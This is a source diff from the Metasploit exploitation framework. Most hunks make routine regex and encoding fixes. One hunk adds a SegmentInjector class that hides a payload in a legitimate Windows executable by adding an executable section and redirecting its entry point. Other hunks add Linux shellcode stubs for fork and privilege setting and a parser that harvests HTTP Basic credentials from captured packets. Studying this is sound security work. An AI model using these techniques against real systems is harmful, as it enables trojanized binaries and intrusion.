inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||||
return true if inum_arr[0] > tnum_arr[0]
|
return true if inum_arr[0] > tnum_arr[0]
|
||||||
return false if inum_arr[0] < tnum_arr[0]
|
return false if inum_arr[0] < tnum_arr[0]
|
||||||
inum_arr[1].to_i >= tnum_arr[1].to_i
|
inum_arr[1].to_i >= tnum_arr[1].to_i
|
||||||
|
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
# Check for commas outside of quoted arguments
|
# Check for commas outside of quoted arguments
|
||||||
quoted_22 = /\x22[^\x22]*\x22/
|
quoted_22 = /\x22[^\x22]*\x22/n
|
||||||
requoted_str = str.gsub(/'/,"\"")
|
requoted_str = str.gsub(/'/,"\"")
|
||||||
if requoted_str.split(quoted_22).join[/,/]
|
if requoted_str.split(quoted_22).join[/,/]
|
||||||
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
||||||
|
|
|
@ -358,7 +358,7 @@ class DBManager
|
||||||
opts.each { |k,v|
|
opts.each { |k,v|
|
||||||
if (host.attribute_names.include?(k.to_s))
|
if (host.attribute_names.include?(k.to_s))
|
||||||
unless host.attribute_locked?(k.to_s)
|
unless host.attribute_locked?(k.to_s)
|
||||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||||
|
@ -481,7 +481,7 @@ class DBManager
|
||||||
|
|
||||||
if (host.attribute_names.include?(k.to_s))
|
if (host.attribute_names.include?(k.to_s))
|
||||||
unless host.attribute_locked?(k.to_s)
|
unless host.attribute_locked?(k.to_s)
|
||||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
dlog("Unknown attribute for Host: #{k}")
|
dlog("Unknown attribute for Host: #{k}")
|
||||||
|
@ -1536,12 +1536,12 @@ class DBManager
|
||||||
if (token[0])
|
if (token[0])
|
||||||
# convert the token to US-ASCII from UTF-8 to prevent an error
|
# convert the token to US-ASCII from UTF-8 to prevent an error
|
||||||
token[0] = token[0].unpack("C*").pack("C*")
|
token[0] = token[0].unpack("C*").pack("C*")
|
||||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||||
end
|
end
|
||||||
|
|
||||||
if (token[1])
|
if (token[1])
|
||||||
token[1] = token[1].unpack("C*").pack("C*")
|
token[1] = token[1].unpack("C*").pack("C*")
|
||||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||||
end
|
end
|
||||||
|
|
||||||
ret = {}
|
ret = {}
|
||||||
|
@ -2853,7 +2853,7 @@ class DBManager
|
||||||
return REXML::Document.new(data)
|
return REXML::Document.new(data)
|
||||||
rescue REXML::ParseException => e
|
rescue REXML::ParseException => e
|
||||||
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
||||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -3055,7 +3055,7 @@ class DBManager
|
||||||
@import_filedata[:type] = "Appscan"
|
@import_filedata[:type] = "Appscan"
|
||||||
return :appscan_xml
|
return :appscan_xml
|
||||||
when "entities"
|
when "entities"
|
||||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
|
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
|
||||||
@import_filedata[:type] = "CI"
|
@import_filedata[:type] = "CI"
|
||||||
return :ci_xml
|
return :ci_xml
|
||||||
end
|
end
|
||||||
|
@ -3342,8 +3342,8 @@ class DBManager
|
||||||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||||
# First, check the server side (data from port 80).
|
# First, check the server side (data from port 80).
|
||||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
|
||||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
|
||||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||||
report_service(
|
report_service(
|
||||||
:workspace => wspace,
|
:workspace => wspace,
|
||||||
|
@ -3363,8 +3363,8 @@ class DBManager
|
||||||
|
|
||||||
# Next, check the client side (data to port 80)
|
# Next, check the client side (data to port 80)
|
||||||
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
|
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
|
||||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
|
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
|
||||||
if auth_match.kind_of?(MatchData) and auth_match[1]
|
if auth_match.kind_of?(MatchData) and auth_match[1]
|
||||||
b64_cred = auth_match[1]
|
b64_cred = auth_match[1]
|
||||||
else
|
else
|
||||||
|
@ -3476,7 +3476,7 @@ class DBManager
|
||||||
data.each_line do |line|
|
data.each_line do |line|
|
||||||
case line
|
case line
|
||||||
when /^[\s]*#/ # Comment lines
|
when /^[\s]*#/ # Comment lines
|
||||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
|
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
|
||||||
addr = $1
|
addr = $1
|
||||||
port = $2
|
port = $2
|
||||||
proto = $4
|
proto = $4
|
||||||
|
@ -3492,7 +3492,7 @@ class DBManager
|
||||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
||||||
pass = ""
|
pass = ""
|
||||||
ptype = "smb_hash"
|
ptype = "smb_hash"
|
||||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
|
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
|
||||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
||||||
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
||||||
ptype = "password"
|
ptype = "password"
|
||||||
|
@ -3531,7 +3531,7 @@ class DBManager
|
||||||
|
|
||||||
# If hex notation is present, turn them into a character.
|
# If hex notation is present, turn them into a character.
|
||||||
def dehex(str)
|
def dehex(str)
|
||||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
|
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
|
||||||
hexen.each { |h|
|
hexen.each { |h|
|
||||||
str.gsub!(h,h[2,2].to_i(16).chr)
|
str.gsub!(h,h[2,2].to_i(16).chr)
|
||||||
}
|
}
|
||||||
|
@ -5039,7 +5039,7 @@ class DBManager
|
||||||
next if r[0] != 'results'
|
next if r[0] != 'results'
|
||||||
next if r[4] != "12053"
|
next if r[4] != "12053"
|
||||||
data = r[6]
|
data = r[6]
|
||||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
|
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
|
||||||
addr_map[hname] = addr
|
addr_map[hname] = addr
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -5160,7 +5160,7 @@ class DBManager
|
||||||
# HostName
|
# HostName
|
||||||
host.elements.each('ReportItem') do |item|
|
host.elements.each('ReportItem') do |item|
|
||||||
next unless item.elements['pluginID'].text == "12053"
|
next unless item.elements['pluginID'].text == "12053"
|
||||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
|
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
|
||||||
hname = host.elements['HostName'].text
|
hname = host.elements['HostName'].text
|
||||||
end
|
end
|
||||||
addr ||= host.elements['HostName'].text
|
addr ||= host.elements['HostName'].text
|
||||||
|
@ -5855,7 +5855,7 @@ class DBManager
|
||||||
|
|
||||||
data.each_line do |line|
|
data.each_line do |line|
|
||||||
next if line =~ /^#/
|
next if line =~ /^#/
|
||||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
|
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
|
||||||
addr = $1
|
addr = $1
|
||||||
next if bl.include? addr
|
next if bl.include? addr
|
||||||
port = $2.to_i
|
port = $2.to_i
|
||||||
|
|
|
@ -20,7 +20,7 @@ class Export
|
||||||
end
|
end
|
||||||
|
|
||||||
def myusername
|
def myusername
|
||||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
|
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Hosts are always allowed. This is really just a stub.
|
# Hosts are always allowed. This is really just a stub.
|
||||||
|
@ -115,7 +115,7 @@ class Export
|
||||||
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
||||||
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
||||||
if pass != "<BLANK>"
|
if pass != "<BLANK>"
|
||||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
|
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
|
||||||
end
|
end
|
||||||
if pass == "<BLANK>"
|
if pass == "<BLANK>"
|
||||||
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
||||||
|
@ -206,7 +206,7 @@ class Export
|
||||||
|
|
||||||
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
||||||
report_file.write %Q|<MetasploitV4>\n|
|
report_file.write %Q|<MetasploitV4>\n|
|
||||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
|
||||||
|
|
||||||
yield(:status, "start", "hosts") if block_given?
|
yield(:status, "start", "hosts") if block_given?
|
||||||
report_file.write %Q|<hosts>\n|
|
report_file.write %Q|<hosts>\n|
|
||||||
|
@ -352,7 +352,7 @@ class Export
|
||||||
if value
|
if value
|
||||||
data = marshalize(value)
|
data = marshalize(value)
|
||||||
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
||||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||||
el << REXML::Text.new(data)
|
el << REXML::Text.new(data)
|
||||||
end
|
end
|
||||||
return el
|
return el
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
module Msf
|
||||||
|
module Exe
|
||||||
|
|
||||||
|
require 'metasm'
|
||||||
|
|
||||||
|
class SegmentInjector
|
||||||
|
|
||||||
|
attr_accessor :payload
|
||||||
|
attr_accessor :template
|
||||||
|
attr_accessor :arch
|
||||||
|
attr_accessor :buffer_register
|
||||||
|
|
||||||
|
def initialize(opts = {})
|
||||||
|
@payload = opts[:payload]
|
||||||
|
@template = opts[:template]
|
||||||
|
@arch = opts[:arch] || :x86
|
||||||
|
@buffer_register = opts[:buffer_register] || 'edx'
|
||||||
|
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
|
||||||
|
raise ArgumentError, ":buffer_register is not a real register"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def processor
|
||||||
|
case @arch
|
||||||
|
when :x86
|
||||||
|
return Metasm::Ia32.new
|
||||||
|
when :x64
|
||||||
|
return Metasm::X86_64.new
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_thread_stub
|
||||||
|
<<-EOS
|
||||||
|
hook_entrypoint:
|
||||||
|
pushad
|
||||||
|
push hook_libname
|
||||||
|
call [iat_LoadLibraryA]
|
||||||
|
push hook_funcname
|
||||||
|
push eax
|
||||||
|
call [iat_GetProcAddress]
|
||||||
|
mov eax, [iat_CreateThread]
|
||||||
|
lea edx, [thread_hook]
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push edx
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
call eax
|
||||||
|
|
||||||
|
popad
|
||||||
|
jmp entrypoint
|
||||||
|
|
||||||
|
hook_libname db 'kernel32', 0
|
||||||
|
hook_funcname db 'CreateThread', 0
|
||||||
|
|
||||||
|
thread_hook:
|
||||||
|
lea #{buffer_register}, [thread_hook]
|
||||||
|
add #{buffer_register}, 9
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
|
||||||
|
def payload_as_asm
|
||||||
|
asm = ''
|
||||||
|
@payload.each_byte do |byte|
|
||||||
|
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||||
|
end
|
||||||
|
return asm
|
||||||
|
end
|
||||||
|
|
||||||
|
def payload_stub
|
||||||
|
asm = create_thread_stub
|
||||||
|
asm << payload_as_asm
|
||||||
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
|
shellcode.encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_pe
|
||||||
|
# Copy our Template into a new PE
|
||||||
|
pe_orig = Metasm::PE.decode_file(template)
|
||||||
|
pe = pe_orig.mini_copy
|
||||||
|
|
||||||
|
# Copy the headers and exports
|
||||||
|
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||||
|
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||||
|
pe.header.time = pe_orig.header.time
|
||||||
|
|
||||||
|
# Generate a new code section set to RWX with our payload in it
|
||||||
|
s = Metasm::PE::Section.new
|
||||||
|
s.name = '.text'
|
||||||
|
s.encoded = payload_stub
|
||||||
|
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||||
|
|
||||||
|
# Tell our section where the original entrypoint was
|
||||||
|
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||||
|
pe.sections << s
|
||||||
|
pe.invalidate_header
|
||||||
|
|
||||||
|
# Change the entrypoint to our new section
|
||||||
|
pe.optheader.entrypoint = 'hook_entrypoint'
|
||||||
|
pe.cpu = pe_orig.cpu
|
||||||
|
|
||||||
|
pe.encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
|
||||||
end
|
end
|
||||||
|
|
||||||
# Store the version information
|
# Store the version information
|
||||||
mver = resp.match(/IVERSION\x00([^\x00]+)/)
|
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
|
||||||
info['Version'] = mver[1] if mver
|
info['Version'] = mver[1] if mver
|
||||||
|
|
||||||
# Store the hostname information
|
# Store the hostname information
|
||||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
|
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
|
||||||
info['Hostname'] = mver[1] if mver
|
info['Hostname'] = mver[1] if mver
|
||||||
|
|
||||||
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
||||||
|
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
|
||||||
|
|
||||||
# Finally, parse out and store all the parameters
|
# Finally, parse out and store all the parameters
|
||||||
resp.split("TPVALUE\x00").each { |x|
|
resp.split("TPVALUE\x00").each { |x|
|
||||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
|
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
|
||||||
if (minf)
|
if (minf)
|
||||||
info[ minf[2] ] = minf[1]
|
info[ minf[2] ] = minf[1]
|
||||||
end
|
end
|
||||||
|
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
||||||
# @return [void]
|
# @return [void]
|
||||||
#
|
#
|
||||||
def on_new_session(session)
|
def on_new_session(session)
|
||||||
|
super
|
||||||
|
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if not @dropped_files or @dropped_files.empty?
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
@dropped_files.delete_if do |file|
|
@dropped_files.delete_if do |file|
|
||||||
win_file = file.gsub("/", "\\\\")
|
win_file = file.gsub("/", "\\\\")
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
super
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['RPORT'].to_i == 3790
|
if datastore['RPORT'].to_i == 3790
|
||||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
|
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
|
||||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
|
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
|
||||||
extras << "Metasploit"
|
extras << "Metasploit"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -696,7 +696,8 @@ module Exploit::Remote::MSSQL
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Header' => "",
|
'Header' => "",
|
||||||
'Columns' => info[:colnames]
|
'Columns' => info[:colnames],
|
||||||
|
'SortIndex' => -1
|
||||||
)
|
)
|
||||||
|
|
||||||
info[:rows].each do |row|
|
info[:rows].each do |row|
|
||||||
|
|
|
@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
|
||||||
end
|
end
|
||||||
|
|
||||||
if plugin_res.respond_to? :split
|
if plugin_res.respond_to? :split
|
||||||
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
|
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||||
elsif base_res.respond_to? :split
|
elsif base_res.respond_to? :split
|
||||||
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
|
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
|
||||||
else
|
else
|
||||||
print_error "Cannot determine the plugin directory."
|
print_error "Cannot determine the plugin directory."
|
||||||
return false
|
return false
|
||||||
|
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
|
||||||
print_status "Checking for temp directory..."
|
print_status "Checking for temp directory..."
|
||||||
res = mysql_get_variable("@@tmpdir")
|
res = mysql_get_variable("@@tmpdir")
|
||||||
if res.respond_to? :split
|
if res.respond_to? :split
|
||||||
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
|
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||||
else
|
else
|
||||||
print_error "Cannot determine the temp directory, exiting."
|
print_error "Cannot determine the temp directory, exiting."
|
||||||
return false
|
return false
|
||||||
|
|
|
@ -11,8 +11,6 @@ module Msf
|
||||||
#
|
#
|
||||||
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
||||||
#
|
#
|
||||||
# Version: $Revision$
|
|
||||||
#
|
|
||||||
###
|
###
|
||||||
module Exploit::Omelet
|
module Exploit::Omelet
|
||||||
|
|
||||||
|
|
|
@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
|
||||||
# Send negotiate request
|
# Send negotiate request
|
||||||
sock.put(pkt2)
|
sock.put(pkt2)
|
||||||
res = sock.get_once(-1, 5)
|
res = sock.get_once(-1, 5)
|
||||||
if res.to_s =~ /^\xff/
|
if res.to_s =~ /^\xff/n
|
||||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||||
return :closed
|
return :closed
|
||||||
end
|
end
|
||||||
|
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
|
||||||
sock.put(pkt3)
|
sock.put(pkt3)
|
||||||
res = sock.get_once(-1, 5)
|
res = sock.get_once(-1, 5)
|
||||||
|
|
||||||
if res.to_s =~ /^\xff/
|
if res.to_s =~ /^\xff/n
|
||||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||||
return :closed
|
return :closed
|
||||||
end
|
end
|
||||||
|
|
|
@ -645,7 +645,7 @@ module Exploit::Remote::SMB
|
||||||
buff << " FP: #{line}\n"
|
buff << " FP: #{line}\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
prov.split(/\x00\x00+/).each do |line|
|
prov.split(/\x00\x00+/n).each do |line|
|
||||||
line.gsub!("\x00",'')
|
line.gsub!("\x00",'')
|
||||||
line.strip!
|
line.strip!
|
||||||
next if line.length < 6
|
next if line.length < 6
|
||||||
|
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
|
||||||
if (pkt_nbs.v['Type'] == 0x81)
|
if (pkt_nbs.v['Type'] == 0x81)
|
||||||
# Accept any name they happen to send
|
# Accept any name they happen to send
|
||||||
|
|
||||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
|
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
|
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||||
|
|
||||||
smb[:nbdst] = host_dst
|
smb[:nbdst] = host_dst
|
||||||
smb[:nbsrc] = host_src
|
smb[:nbsrc] = host_src
|
||||||
|
|
|
@ -336,9 +336,9 @@ class Payload < Msf::Module
|
||||||
# Check to see if the value is a hex string. If so, convert
|
# Check to see if the value is a hex string. If so, convert
|
||||||
# it.
|
# it.
|
||||||
if val.kind_of?(String)
|
if val.kind_of?(String)
|
||||||
if val =~ /^\\x/
|
if val =~ /^\\x/n
|
||||||
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
|
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
|
||||||
elsif val =~ /^0x/
|
elsif val =~ /^0x/n
|
||||||
val = val.hex
|
val = val.hex
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
Msf::OptBool.new('PrependFork',
|
||||||
|
[
|
||||||
|
false,
|
||||||
|
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||||
|
"false"
|
||||||
|
]
|
||||||
|
),
|
||||||
Msf::OptBool.new('PrependSetresuid',
|
Msf::OptBool.new('PrependSetresuid',
|
||||||
[
|
[
|
||||||
false,
|
false,
|
||||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
||||||
|
|
||||||
# Prepend
|
# Prepend
|
||||||
|
|
||||||
|
if (datastore['PrependFork'])
|
||||||
|
pre << "\x6a\x02" +# pushb $0x2 #
|
||||||
|
"\x58" +# popl %eax #
|
||||||
|
"\xcd\x80" +# int $0x80 ; fork #
|
||||||
|
"\x85\xc0" +# test %eax,%eax #
|
||||||
|
"\x74\x06" +# jz 0xf #
|
||||||
|
"\x31\xc0" +# xor %eax,%eax #
|
||||||
|
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||||
|
"\xcd\x80" # int $0x80 #
|
||||||
|
end
|
||||||
|
|
||||||
if (datastore['PrependSetresuid'])
|
if (datastore['PrependSetresuid'])
|
||||||
# setresuid(0, 0, 0)
|
# setresuid(0, 0, 0)
|
||||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
||||||
"\xcd\x80" # int $0x80 #
|
"\xcd\x80" # int $0x80 #
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
# Handle all Power/CBEA code here
|
# Handle all Power/CBEA code here
|
||||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||||
|
|
||||||
# Prepend
|
# Prepend
|
||||||
|
|
||||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
||||||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||||
"\x44\xff\xff\x02" # sc #
|
"\x44\xff\xff\x02" # sc #
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
if (test_arch.include?(ARCH_X86_64))
|
elsif (test_arch.include?(ARCH_X86_64))
|
||||||
|
|
||||||
|
if (datastore['PrependFork'])
|
||||||
|
# if (fork()) { exit(0); }
|
||||||
|
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||||
|
pre << "\x58" # pop rax #
|
||||||
|
pre << "\x0f\x05" # syscall #
|
||||||
|
pre << "\x48\x85\xc0" # test rax,rax #
|
||||||
|
pre << "\x74\x08" # jz 0x08 #
|
||||||
|
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||||
|
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||||
|
pre << "\x58" # pop rax #
|
||||||
|
pre << "\x0f\x05" # syscall #
|
||||||
|
end
|
||||||
|
|
||||||
if (datastore['PrependSetresuid'])
|
if (datastore['PrependSetresuid'])
|
||||||
# setresuid(0, 0, 0)
|
# setresuid(0, 0, 0)
|
||||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
||||||
# Append exit(0)
|
# Append exit(0)
|
||||||
if (datastore['AppendExit'])
|
if (datastore['AppendExit'])
|
||||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
